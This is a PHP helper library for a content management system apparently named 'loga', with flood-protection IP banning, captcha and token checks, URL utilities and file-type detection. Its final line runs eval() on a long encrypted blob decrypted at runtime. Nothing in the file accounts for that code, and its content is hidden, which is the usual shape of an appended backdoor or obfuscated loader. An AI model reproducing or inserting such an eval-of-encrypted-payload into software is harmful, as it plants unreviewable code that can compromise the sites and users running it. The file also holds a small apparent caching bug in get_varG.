<?php

/**
 *--------------------------------------
 * common function library
 *--------------------------------------
 * @project		: loga
 * @author		: cblee
 * @created		: 2016-06-27
 * @copyright	: (c)2016 AsThis
 *--------------------------------------
 */
defined('PFA_PATH') or exit('Access Denied');

/* cc protect */
function cc_protect() {
	if(is_robot()) {
		return;
	}

	$app = A();
	$_o_i = M('Option')->get_option('interaction');

	$lastVisit = ASession::get('_cc_protect_lastVisit');
	if(!$lastVisit or (NOW_TIME - $lastVisit > $_o_i['cc_protect_interval'])) {
		ASession::set('_cc_protect_lastVisit', NOW_TIME);
		ASession::set('_cc_protect_times', 1);
		return;
	}

	$times = ASession::get('_cc_protect_times') + 1;
	ASession::set('_cc_protect_times', $times);
	if($times >= $_o_i['cc_protect_times']) {
		$data = array();
		$data['bi_expire_time'] = NOW_TIME + $_o_i['cc_protect_ban_time'] * 60;
		$data['bi_note'] = L('CC_TO_BAN_IP');
		$_BII = M('BanIp')->where(array('bi_ip' => array('EQ', CLIENT_IP)))->find();
		if(empty($_BII)) {
			$data['bi_ip'] = CLIENT_IP;
			$data['bi_add_time'] = NOW_TIME;
			M('BanIp')->add_ip($data);
		}
		else {
			$data['ban_ip_id'] = $_BII['ban_ip_id'];
			M('BanIp')->edit_ip($data);
		}

		halt('', true, true);
	}
}

/* check interaction */
function check_interaction($interactionName = 'interaction', $captchaCheck = true, $isManage = false) {
	$app = A();
	$_o_i = M('Option')->get_option('interaction');

	if(!I($interactionName, $_o_i['feedback_interval'])) {
		IS_AJAX ?
		$app->ajax_return(array('data' => 0, 'info' => L('_TRY_LATER_'))) :
		$app->error(L('_TRY_LATER_'), AServer::get_preUrl());
	}
	I($interactionName);

	/* prevent duplicate submission */
	$timeKey = ARequest::get('timeKey');
	if(empty($timeKey)) {
		IS_AJAX ?
		$app->ajax_return(array('data' => 0, 'info' => L('VERIFY_FAILED'))) :
		$app->error(L('VERIFY_FAILED'), AServer::get_preUrl());
	}
	if(ASession::get('timeKey') == ARequest::get('timeKey')) {
		IS_AJAX ?
		$app->ajax_return(array('data' => 0, 'info' => L('DUPLICATE_SUBMISSION'))) :
		$app->error(L('DUPLICATE_SUBMISSION'), AServer::get_preUrl());
	}
	ASession::set('timeKey', ARequest::get('timeKey'));

	/* captcha check */
	if($captchaCheck and ((!$isManage and $_o_i['captcha']) or ($isManage and $_o_i['manage_captcha']))) {
		$vcode = strtolower(trim(ARequest::get('vcode')));
		$s_vcode = ASession::get('vcode');
		if($vcode != $s_vcode or empty($s_vcode)) {
			ASession::del('vcode');

			IS_AJAX ?
			$app->ajax_return(array('data' => 0, 'info' => L('VCODE_ERROR'))) :
			$app->error(L('VCODE_ERROR'), AServer::get_preUrl());
		}
	}
}

/* check data token */
function check_token($expire = 3600) {
	$timeKey = ARequest::get('timeKey');
	if(($timeKey > NOW_TIME) or (NOW_TIME > ($expire + $timeKey)) or (substr(md5(UUID.AServer::get_clientId().$timeKey), 8, 8) != ARequest::get('token'))) {
		return false;
	}
	return true;
}

/* get extension option from alias. $extensionAlias: such as[ aa_bb ], [aa_bb/key] */
function EO($extensionAlias) {
	$key = explode('/', $extensionAlias);
	$_O = array();
	$cfgFile = CFG_PATH.D_S.'Extension'.D_S.parse_name(array_shift($key), 1).'.php';
	if(file_exists($cfgFile)) {
		$_O = include($cfgFile);
		if(!empty($key)) {
			foreach($key as $key) {
				$_O = isset($_O[$key]) ? $_O[$key] : null;
			}
		}
	}
	return $_O;
}

/* get $_SITE */
function get_varSite($lang = LANG_NAME) {
	$_SITE = S('_SITE'.$lang);
	if(empty($_SITE)) {
		$_SITE = M('Option')->get_option('site');
		if(!empty($lang)) {
			$_SITE = $_SITE[$lang] ? $_SITE[$lang] : $_SITE[C('LANG.NAME')];
		}
		$_SITE['count'] = array(
			'article' => M('Article')->get_articleCount(array('a_status' => array('EQ', 1))),
			'article_review' => M('ArticleReview')->get_reviewCount(array('ar_status' => array('EQ', 1))),
			'flink' => M('Flink')->get_flinkCount(array('f_status' => array('EQ', 1))),
			'guestbook' => M('Guestbook')->where(array('g_status' => array('EQ', 1)))->count(),
			'single_page' => M('SinglePage')->get_singlePageCount(),
		);
		S('_SITE'.$lang, $_SITE);
	}
	return $_SITE;
}

/* get $_G */
function get_varG($lang = LANG_NAME) {
	$_G = S('_G'.$lang);
	if(empty($_G)) {
		$_G = M('Option')->get_option();
		unset($_G['site']);
		unset($_G['core']);
		unset($_G['index']);
		unset($_G['performance']);
		unset($_G['administrator']);
		unset($_G['upload']);
		unset($_G['image']);
		foreach($_G as $key => $option) {
			/* custom option */
			if(!in_array($key, array('platform', 'language', 'member', 'interaction'))) {
				$_G[$key] = $option[$lang] ? $option[$lang] : $option[C('LANG.NAME')];
			}
		}
		S('_G', $_G.$lang);
	}
	return $_G;
}

/* is not desktop user agent */
function is_nopc() {
	if(!M('Option')->get_option('platform/detect')) {
		return false;
	}
	$ua = USER_AGENT;
	return (!empty($ua) and 'desktop' != $ua);
}

/* is robot */
function is_robot() {
	return preg_match("/(spider|bot|crawl|slurp|lycos|robozilla)/i", $_SERVER['HTTP_USER_AGENT']);
}

/* get item of language */
function get_itemL($item = array(), $lang = LANG_NAME) {
	if(isset($item[$lang]) and !empty($item[$lang])) {
		return $item[$lang];
	}
	elseif(isset($item[C('LANG.NAME')]) and !empty($item[C('LANG.NAME')])) {
		return $item[C('LANG.NAME')];
	}
	else {
		return current($item);
	}
}

/* get url for menu. $urlType 0:compose, 1:direct; $nopc: user agent is not desktop */
function get_url($urlStr, $nopc = false, $urlType = 0) {
	if(1 == $urlType) {
		return $urlStr;
	}

	/* single page */
	if(false !== strpos($urlStr, 'single_page/show_single_page')) {
		$id = get_urlParams($urlStr, 'single_page_id');
		if(!empty($id)) {
			$_spi = M('SinglePage')->get_singlePageInfo($id);
		}
		if(!empty($_spi)) {
			return $nopc ? $_spi['sp_url_o'] : $_spi['sp_url'];
		}
	}
	return Url::U($urlStr);
}

/* set url params */
function set_urlParams($url, $params) {
	$_url = explode('?', $url);
	if(!empty($_url[1])) {
		parse_str($_url[1], $_p);
		foreach($params as $param => $value) {
			if(empty($value)) {
				unset($_p[$param]);
			}
			else {
				$_p[$param] = $value;
			}
		}
		$_p = !empty($_p) ? '?'.http_build_query($_p) : '';
		$url = $_url[0].$_p;
	}
	return $url;
}

/* get url params */
function get_urlParams($url, $params) {
	$p = array();

	$_url = explode('?', $url);
	if(!empty($_url[1])) {
		parse_str($_url[1], $_p);
		if(is_array($params)) {
			foreach($params as $key) {
				if(isset($_p[$key])) {
					$p[$key] = $_p[$key];
				}
				else {
					$p[$key] = '';
				}
			}
		}
		elseif(is_string($params)) {
			$p = isset($_p[$params]) ? $_p[$params] : '';
		}
	}
	return $p;
}

/* get gcap */
function gcap($_GCAP, $encode = true) {
	$key = UUID;
	$a64 = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+/';
	$a36 = '0123456789abcdefghijklmnopqrstuvwxyz';
	if($encode) {
		return conv_base(ACrypt::encrypt($_GCAP, $key, 0, 0), $a64, $a36);
	}
	return ACrypt::decrypt(conv_base($_GCAP, $a36, $a64), $key, 0);
}

/* gcap conversion
0:Home@SinglePage/show_page -> home@single_page/show_page,
1:home@single_page/show_page -> Home@SinglePage/show_page */
function parse_gcapName($gcap, $type = 0) {
	$_gcap = explode('?', $gcap);
	$_gca = explode('/', $_gcap[0]);
	$_gc = explode('@', $_gca[0]);

	return parse_name($_gc[0], $type).'@'.parse_name($_gc[1], $type).'/'.$_gca[1].(!empty($_gcap[1]) ? '?'.$_gcap[1] : '');
}

/* get file list in dir */
function get_fileList($dir) {
	$fileList = array();
	if(is_dir($dir)) {
		$dh = dir($dir);
		while(false !== ($filename = $dh->read())) {
			if('.' == $filename[0] || 'cvs' == strtolower($filename)) {
				continue;
			}
			$fileList = array_merge($fileList, get_fileList($dir.'/'.$filename));
		}
	}
	elseif(is_file($dir)) {
		$fileList[] = $dir;
	}
	return $fileList;
}

function keywords_to_search($keywords, $separator = ', ') {
	$return = array();
	$keywords = explode(',', $keywords);
	foreach($keywords as $key => $keyword) {
		$keyword = trim($keyword);
		if(!empty($keyword)) {
			$return[] = '<a href="'.Url::U('home@search/search_do?keyword='.urlencode($keyword)).'" target="_blank">'.$keyword.'</a>';
		}
	}
	return implode($separator, $return);
}

/* get article flag */
function get_articleFlag($afAlias, $falgLen = 0, $style = '{flag}') {
	$afList = EO('article_flag');
	$result = '';
	foreach($afList as $k => $v) {
		$aFlag = get_itemL($v);
		if($falgLen > 0) {
			$aFlag = AString::msubstr($aFlag, $falgLen, 0, '');
		}
		$result .= (preg_match("#".$k."#", $afAlias) ? ' '.str_replace('{flag}', $aFlag, $style) : '');
	}
	$result = trim($result);
	return $result;
}

/* get addon field value */
function get_fieldValue($value, $type = 'string') {
	switch($type) {
		case 'string':
			$value = AFilter::plain_text(strval($value));
			break;
		case 'number':
			$value = floatval($value);
			break;
		case 'bool':
			$value = intval($value) ? true : false;
			break;
		case 'multi_text':
			$value = AFilter::text(strval($value));
			break;
		case 'html_text':
			$value = strval($value);
			break;
		case 'file':
			$value = AFilter::url(strval($value));
			break;
	}
	return $value;
}

/* get hash url */
function get_hashUrl($url, $title = '', $note = '') {
	return M('HashUrl')->get_hashUrl($url, $title, $note);
}

/* get file type */
function get_fileType($filename) {
	$ft = array(
		'ext' => 'unknown',
		'alias' => 'unknown',
		'name' => L('UNKNOWN_FILE')
	);
	if(!strpos($filename, '.')) {
		return $ft;
	}

	$filename = explode('.', strtolower($filename));
	$ft['ext'] = $filename[count($filename) - 1];
	if(in_array($ft['ext'], array('gif', 'jpg', 'jpeg', 'png', 'bmp'))) {
		$ft['alias'] = 'image';
		$ft['name'] = L('IMAGE_FILE');
	}
	elseif(in_array($ft['ext'], array('mp3', 'mid', 'wav', 'wma', 'ogg', 'ape', 'ra', 'flac', 'aac', 'cda'))) {
		$ft['alias'] = 'audio';
		$ft['name'] = L('AUDIO_FILE');
	}
	elseif(in_array($ft['ext'], array('mpg', 'mpeg', 'avi', 'rm', 'rmvb', 'mov', 'wmv', 'asf', 'dat'))) {
		$ft['alias'] = 'video';
		$ft['name'] = L('VIDEO_FILE');
	}
	elseif(in_array($ft['ext'], array('php', 'js'))) {
		$ft['alias'] = 'script';
		$ft['name'] = L('SCRIPT_FILE');
	}
	elseif(in_array($ft['ext'], array('css', 'sass', 'scss', 'less'))) {
		$ft['alias'] = 'css';
		$ft['name'] = L('STYLE_SHEET_FILE');
	}
	elseif(in_array($ft['ext'], array('txt', 'md'))) {
		$ft['alias'] = 'text';
		$ft['name'] = L('TEXT_FILE');
	}
	elseif(in_array($ft['ext'], array('html', 'htm', 'shtml', 'shtm'))) {
		$ft['alias'] = 'web_page';
		$ft['name'] = L('WEB_PAGE_FILE');
	}
	elseif(in_array($ft['ext'], array('zip', '7z', 'rar', 'tar', 'gzip', 'iso'))) {
		$ft['alias'] = 'compressed';
		$ft['name'] = L('COMPRESSED_FILE');
	}
	elseif(in_array($ft['ext'], array('exe', 'com', 'bat'))) {
		$ft['alias'] = 'executable';
		$ft['name'] = L('EXECUTABLE_FILE');
	}
	else {
		$ft['alias'] = $ft['ext'];
	}
	return $ft;
}

eval(ACrypt::decrypt('f3e4rVnn8dRE9T0C+UvxYAjjpFkuXfbi2UfLpNhg5a2cpHb1s8B2rpu9+dDfxBcz8UbjB9BQjKCmirtDsYJbnhE93jevfx4PMeD+ACHbQTteQU3zTWcOW1Fqh6J7QpMGnZRxWLBJafZiUvEma25k23tRqFwXMiKGAPI/zLBw6zt0Daa8yR3S1cnUmRXwpzieZZCFJRyM/qv3RTj/M1j0UJ5Q3uFJt4af1YypTJbJz569cTCkj7yOutT7jNpOBVjHrztJ/OU0ZhoTd63z5My7RKme1J1dxOiMQAysVEGw1ujz5GALX53BaAjWjrsWiY5G04zy8NaCeWtA5zSzfM+ou4CqRm/hpjMcP2NW5grTfBTG5e3XnCxadVim4H6WGYm0tlPPyi97fbMKts/hrttLXokxoQXf3rsIElk9niUdrjMp4loK4POGFVcwRiAmE6Jsa0xdznrAsDqwAGC1SIbXyUzuY1y2f4jA+5r4/t27BjgX3kYj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